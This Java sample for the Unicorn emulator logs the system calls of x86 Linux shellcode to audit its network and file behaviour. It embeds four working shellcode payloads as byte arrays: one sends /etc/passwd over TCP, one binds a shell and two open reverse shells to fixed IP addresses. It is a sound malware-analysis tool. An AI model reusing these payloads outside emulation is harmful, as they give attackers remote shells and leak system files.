/* Java bindings for the Unicorn Emulator Engine Copyright(c) 2015 Chris Eagle This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ /* Unicorn sample for auditing network connection and file handling in shellcode. Nguyen Tan Cong */ import unicorn.*; import java.util.*; public class SampleNetworkAuditing { public static int next_id = 3; public static final int SIZE_REG = 4; private static LogChain fd_chains = new LogChain(); public static int get_id() { return next_id++; } public static final long toInt(byte val[]) { long res = 0; for (int i = 0; i < val.length; i++) { long v = val[i] & 0xff; res = res + (v << (i * 8)); } return res; } public static final byte[] toBytes(long val) { byte[] res = new byte[8]; for (int i = 0; i < 8; i++) { res[i] = (byte)(val & 0xff); val >>>= 8; } return res; } private static class MyInterruptHook implements InterruptHook { // callback for tracing Linux interrupt public void hook(Unicorn uc, int intno, Object user) { // System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); // only handle Linux syscall if (intno != 0x80) { return; } long eax = toInt(uc.reg_read(Unicorn.UC_X86_REG_EAX, 4)); long ebx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4)); long ecx = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4)); long edx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EDX, 4)); long eip = toInt(uc.reg_read(Unicorn.UC_X86_REG_EIP, 4)); // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); if (eax == 1) { // sys_exit System.out.printf(">>> SYS_EXIT\n"); uc.emu_stop(); } else if (eax == 3) { // sys_read long fd = ebx; long buf = ecx; long count = edx; String uuid = UUID.randomUUID().toString().substring(0, 32); byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length())); uc.mem_write(buf, dummy_content); String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length)); fd_chains.add_log(fd, msg); System.out.printf(">>> %s\n", msg); } else if (eax == 4) { // sys_write long fd = ebx; long buf = ecx; long count = edx; byte[] content = uc.mem_read(buf, count); String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd); System.out.printf(">>> %s\n", msg); fd_chains.add_log(fd, msg); } else if (eax == 5) { // sys_open long filename_addr = ebx; long flags = ecx; long mode = edx; String filename = read_string(uc, filename_addr); int dummy_fd = get_id(); uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd)); String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd); fd_chains.create_chain(dummy_fd); fd_chains.add_log(dummy_fd, msg); System.out.printf(">>> %s\n", msg); } else if (eax == 11) { // sys_execv // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); String filename = read_string(uc, ebx); System.out.printf(">>> SYS_EXECV filename=%s\n", filename); } else if (eax == 63) { // sys_dup2 fd_chains.link_fd(ecx, ebx); System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); } else if (eax == 102) { // sys_socketcall // ref: http://www.skyfree.org/linux/kernel_network/socket.html long call = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4)); long args = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4)); // int sys_socketcall(int call, unsigned long *args) if (call == 1) { // sys_socket // err = sys_socket(a0,a1,a[2]) // int sys_socket(int family, int type, int protocol) long family = toInt(uc.mem_read(args, SIZE_REG)); long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); int dummy_fd = get_id(); uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd)); if (family == 2) { // AF_INET String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd); fd_chains.create_chain(dummy_fd); fd_chains.add_log(dummy_fd, msg); print_sockcall(msg); } else if (family == 3) { // AF_INET6 } } else if (call == 2) { // sys_bind long fd = toInt(uc.mem_read(args, SIZE_REG)); long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); byte[] sock_addr = uc.mem_read(umyaddr, addrlen); String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr)); fd_chains.add_log(fd, msg); print_sockcall(msg); } else if (call == 3) { // sys_connect // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) long fd = toInt(uc.mem_read(args, SIZE_REG)); long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); byte[] sock_addr = uc.mem_read(uservaddr, addrlen); String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr)); fd_chains.add_log(fd, msg); print_sockcall(msg); } else if (call == 4) { // sys_listen long fd = toInt(uc.mem_read(args, SIZE_REG)); long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog); fd_chains.add_log(fd, msg); print_sockcall(msg); } else if (call == 5) { // sys_accept long fd = toInt(uc.mem_read(args, SIZE_REG)); long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) if (upeer_sockaddr == 0x0) { print_sockcall(String.format("fd(%d) accept client", fd)); } else { long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len); String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr)); fd_chains.add_log(fd, msg); print_sockcall(msg); } } else if (call == 9) { // sys_send long fd = toInt(uc.mem_read(args, SIZE_REG)); long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); byte[] buf = uc.mem_read(buff, length); String msg = String.format("fd(%d) send data=%s", fd, new String(buf)); fd_chains.add_log(fd, msg); print_sockcall(msg); } else if (call == 11) { // sys_receive long fd = toInt(uc.mem_read(args, SIZE_REG)); long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags); fd_chains.add_log(fd, msg); print_sockcall(msg); } else if (call == 13) { // sys_shutdown long fd = toInt(uc.mem_read(args, SIZE_REG)); long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); String msg = String.format("fd(%d) is shutted down because of %d", fd, how); fd_chains.add_log(fd, msg); print_sockcall(msg); } } } } public static final Hashtable SOCKET_TYPES; public static final Hashtable ADDR_FAMILY; static { SOCKET_TYPES = new Hashtable(); ADDR_FAMILY = new Hashtable(); SOCKET_TYPES.put(1L, "SOCK_STREAM"); SOCKET_TYPES.put(2L, "SOCK_DGRAM"); SOCKET_TYPES.put(3L, "SOCK_RAW"); SOCKET_TYPES.put(4L, "SOCK_RDM"); SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); SOCKET_TYPES.put(10L, "SOCK_PACKET"); ADDR_FAMILY.put(0L, "AF_UNSPEC"); ADDR_FAMILY.put(1L, "AF_UNIX"); ADDR_FAMILY.put(2L, "AF_INET"); ADDR_FAMILY.put(3L, "AF_AX25"); ADDR_FAMILY.put(4L, "AF_IPX"); ADDR_FAMILY.put(5L, "AF_APPLETALK"); ADDR_FAMILY.put(6L, "AF_NETROM"); ADDR_FAMILY.put(7L, "AF_BRIDGE"); ADDR_FAMILY.put(8L, "AF_AAL5"); ADDR_FAMILY.put(9L, "AF_X25"); ADDR_FAMILY.put(10L, "AF_INET6"); ADDR_FAMILY.put(12L, "AF_MAX"); } // http://shell-storm.org/shellcode/files/shellcode-861.php public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100}; // http://shell-storm.org/shellcode/files/shellcode-882.php public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128}; // http://shell-storm.org/shellcode/files/shellcode-883.php public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128}; // http://shell-storm.org/shellcode/files/shellcode-849.php public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128}; // memory address where emulation starts public static final int ADDRESS = 0x1000000; public static String join(ArrayList l, String sep) { boolean first = true; StringBuilder res = new StringBuilder(); for (String s : l) { if (!first) { res.append(sep); } res.append(s); first = false; } return res.toString(); } private static class LogChain { public Hashtable> __chains = new Hashtable>(); public Hashtable> __linking_fds = new Hashtable>(); public void clean() { __chains.clear(); __linking_fds.clear(); } public void create_chain(long id) { if (!__chains.containsKey(id)) { __chains.put(id, new ArrayList()); } else { System.out.printf("LogChain: id %d existed\n", id); } } public void add_log(long id, String msg) { long fd = get_original_fd(id); if (fd != -1) { __chains.get(fd).add(msg); } else { System.out.printf("LogChain: id %d doesn't exist\n", id); } } public void link_fd(long from_fd, long to_fd) { if (!__linking_fds.containsKey(to_fd)) { __linking_fds.put(to_fd, new ArrayList()); } __linking_fds.get(to_fd).add(from_fd); } public long get_original_fd(long fd) { if (__chains.containsKey(fd)) { return fd; } for (Long orig_fd : __linking_fds.keySet()) { if (__linking_fds.get(orig_fd).contains(fd)) return orig_fd; } return -1; } public void print_report() { System.out.printf("\n----------------"); System.out.printf("\n| START REPORT |"); System.out.printf("\n----------------\n\n"); for (Long fd : __chains.keySet()) { System.out.printf("---- START FD(%d) ----\n", fd); System.out.println(join(__chains.get(fd), "\n")); System.out.printf("---- END FD(%d) ----\n", fd); } System.out.printf("\n--------------"); System.out.printf("\n| END REPORT |"); System.out.printf("\n--------------\n\n"); } } // end supported classes // utilities static String read_string(Unicorn uc, long addr) { StringBuilder ret = new StringBuilder(); char c; do { c = (char)(uc.mem_read(addr++, 1)[0] & 0xff); if (c != 0) { ret.append(c); } } while (c != 0); return ret.toString(); } static String parse_sock_address(byte[] sock_addr) { int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; if (sin_family == 2) { // AF_INET int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port); } else if (sin_family == 6) // AF_INET6 return ""; return null; } static void print_sockcall(String msg) { System.out.printf(">>> SOCKCALL %s\n", msg); } // end utilities static void test_i386(byte[] code) { fd_chains.clean(); System.out.printf("Emulate i386 code\n"); try { // Initialize emulator in X86-32bit mode Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); // map 2MB memory for this emulation mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE); // write machine code to be emulated to memory mu.mem_write(ADDRESS, code); // initialize stack mu.reg_write(Unicorn.UC_X86_REG_ESP, toBytes(ADDRESS + 0x200000)); // handle interrupt ourself mu.hook_add(new MyInterruptHook(), null); // emulate machine code in infinite time mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); // now print out some registers System.out.printf(">>> Emulation done\n"); } catch (UnicornException uex) { System.out.printf("ERROR: %s\n", uex.getMessage()); } fd_chains.print_report(); } public static void main(String args[]) { test_i386(X86_SEND_ETCPASSWD); test_i386(X86_BIND_TCP); test_i386(X86_REVERSE_TCP); test_i386(X86_REVERSE_TCP_2); } }